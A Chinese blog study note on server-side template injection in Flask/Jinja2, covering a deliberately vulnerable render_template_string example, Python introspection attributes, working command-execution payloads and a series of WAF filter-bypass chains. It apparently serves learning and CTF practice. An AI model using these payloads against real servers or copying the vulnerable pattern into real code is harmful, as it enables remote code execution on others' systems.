SSTI


SSTI

SSTI(服务器端模板注入)

当前使用的框架,python 的 flask、 java 的 spring 等都是用户的输入传入控制器,然后根据请求类型和请求的指令发送给对应的业务模块进行业务逻辑判断,数据库读取,最后把结果返回给视图层,渲染后展示给用户

这个漏洞的成因就是因为服务器端接收到了用户的恶意输入后,没有任何处理就将其作为 web 模板的一部分,模板引擎在渲染目标时,执行了用户插入的恶意语句,导致了信息泄露、代码执行等问题

模板注入一般都会使用 {{}}​ 包裹恶意代码,因为在渲染函数中,不会对变量进行渲染, {{}} 中的内容会被当作变量解析,所以可以实现模板注入

1344396-20200911174631687-758048107

模板引擎

模板是一种将数据转化为实际的视觉表现(HTML)的一种手段
模板的好处是数据放到模板中,直接渲染成 html 文本,返回给浏览器,展示快

这里有两种渲染方式

后端渲染:数据传输到服务器或者数据直接存储在服务器中,后端使用模板解析这些数据并渲染成 HTML 返回给浏览器

前端渲染:浏览器从服务器得到的是数据,由浏览器前端渲染成 HTML 给用户

就比如要在前端显示用户名,但是每个用户的名字不同,我们要接收数据后,渲染到 name 变量中,再展示给用户

<html>
<h1>{$name}</h1>
</html>

flask

这里记录一下 flask 的漏洞

flask 使用 render_template()​ 来渲染模板,使用这个方法是不会产生 ssti 的,因为输入的内容会先被 render_template() 渲染好,已经不可控了

@app.route("/login")
def login():
	name = 1
    return render_template("login.html",name=name)

但是如果偷懒,比如下面直接用格式化拼接用户可控的字符,就会出现 ssti 漏洞

@app.route('/test',methods=['GET', 'POST'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)

    return render_template_string(template)

在 flask 中,模板有几种语法

  1. {% %} 可以用来声明变量,也可以用来构造循环语句和条件语句

    {% set x = 'marin' %}  # 声明变量
    {% for i in ['a','b','c']%} {{i}} {% endfor %} #循环
    {% if 25=5*5 %} {{1}} {% endif %}   #条件
  2. {{ }} 可以用来将表达式打印到模板输出

  3. `` 表示未包含在模板输出中的注释

  4. # #​ 可能和 {% %} 有相同的效果

payload

这里记录一下 payload 经常会用的一些知识点

python

在 python 中,模块可以用 . 访问,但是字典不支持

  • __class__

    用于获取对象的类,在 python 中,所有东西都是对象
    获取了类之后在 ssti 中就可以得到很多东西了

  • __base__

    返回一个对象所直接继承的父类

  • __mro__

    返回一个按继承顺序包含父类的元组

  • __subclasses__

    返回当前类的所有子类

  • __init__

    所有原生类都包含的一个方法,用来初始化一个对象,返回的类型是 function​,用来当跳板调用 __globals__

  • __globals__

    是一个 function 对象的属性,用来获取函数下所有可以使用的 module、方法、变量,返回一个字典

  • __builtins__

    这是一个自动注入到每个作用域中的命名空间,有许多名字到对象之间的映射,其实就相当于字典,但是可以用 . 调用其中的对象

  • __str__()

    用来转化为字符串,并且可以用下标取字符串 config.__str__()[1]

  • __getitem__()

    这个是用下标访问时的行为,obj[key]​ 就相当于 obj.__getitem__(key)​,就是用在 [] 被 waf

  • g

    {{g}}​ 得到 <flask.g of 'flask_ssti'>

  • request.environ

    运行时的环境变量

基础 payload
{{ "".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls ../').read() }}

{{ url_for.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()") }}

{{ lipsum.__globals__['os'].popen('ls').read() }}

{{ x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}

{% print (lipsum|attr(__globals__)).os.popen('ls').read() %}

绕过技巧

  • request 绕过

    waf 了 []​、"" 可以使用

    request.args.a​、request.values.a​、request.cookies.a

  • 字符绕过

    {{ config.__str__()[1] }} 获取字符

    {% str chr=url_for.__globals__.builtins__.chr %} 获取 chr 方法构造字符

  • 过滤器绕过

    1. attr

      用来动态获取某个属性的值

      {{ obj|attr('属性') }}
      {{ attr(obj,'属性') }}
    2. string|list

      将对象转化为字符串,然后再转化为列表,可以用来获取字符,相当于 str()​、list()

      {{ (config|string|list).pop()[i] }}
    3. join

      把可迭代对象的元素拼接成一个字符串
      一般和 dict()​ 配合构造属性,作用于字典时,会将 key 拼接起来,默认用 '' 拼接
      作用于元组时,就是直接拼接起来

      {% set po=dict(po=a,p=b)|join %}
      {% set built=(_,_,dict(builtins=a)|join,_,_)|join %}
    4. length

      用于获取数字,会返回字符串长度

      {% set a=dict(a=a)|join|length %}
    5. format

      用于格式化字符串

      {% print "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95) %}
      # __class__
    6. replace

      替换字符串

      {% print "__claee__"|replace('e','s') %}
      # __class__
    7. reverse

      反转字符串

      {% print "__ssalc__"|reverse %}
      # __class__
    8. select

      原本是原来筛选元素的,但是作用于空元组时,会生成一个生成器对象,然后配合 string|list 获取字符

      {% set a=(()|select|string|list)|attr(pop)(24) %}
  • 反弹 shell

  • 全角字符替代

    可以用全角的数字替代数字

    def half2full(half):  
        full = ''  
        for ch in half:  
            if ord(ch) in range(33, 127):  
                ch = chr(ord(ch) + 0xfee0)  
            elif ord(ch) == 32:  
                ch = chr(0x3000)  
            else:  
                pass  
            full += ch  
        return full  
    t=''
    s="0123456789"
    for i in s:
        t+='\''+half2full(i)+'\','
    print(t)
  • 十六进制编码绕过

    {% print "\x5f\x5fclass\x5f\x5f" %}
    # __class__
  • 绕过 .​ 和 [] 的 waf

    比如这个 paylaod ,最后使用的可以完全用 attr​ 来绕过,这里同时绕过了 ''​ ,如果正常使用的 attr()​ 这里是要输入字符串,不能用 '' 就需要在前面拼接出字符串再使用

    {% set po=dict(po=a,p=a)|join %}
    {% set a=(()|select|string|list)|attr(po)(24) %}
    {% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join %}
    {% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join %}
    {% set getitem=(a,a,dict(get=a,item=a)|join,a,a)|join %}
    {% set popen=dict(popen=a)|join %}
    {% set read=dict(read=a)|join %}
    {% set o=dict(os=a)|join %}
    {% set cmd=dict(dir=a)|join %}
    {{ (lipsum|attr(glo))|attr(getitem)(o)|attr(popen)(cmd)|attr(read)() }}
  • 过滤了 []​ 可以使用 getitem 获取

参考:

flask之ssti模版注入从零到入门-先知社区


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录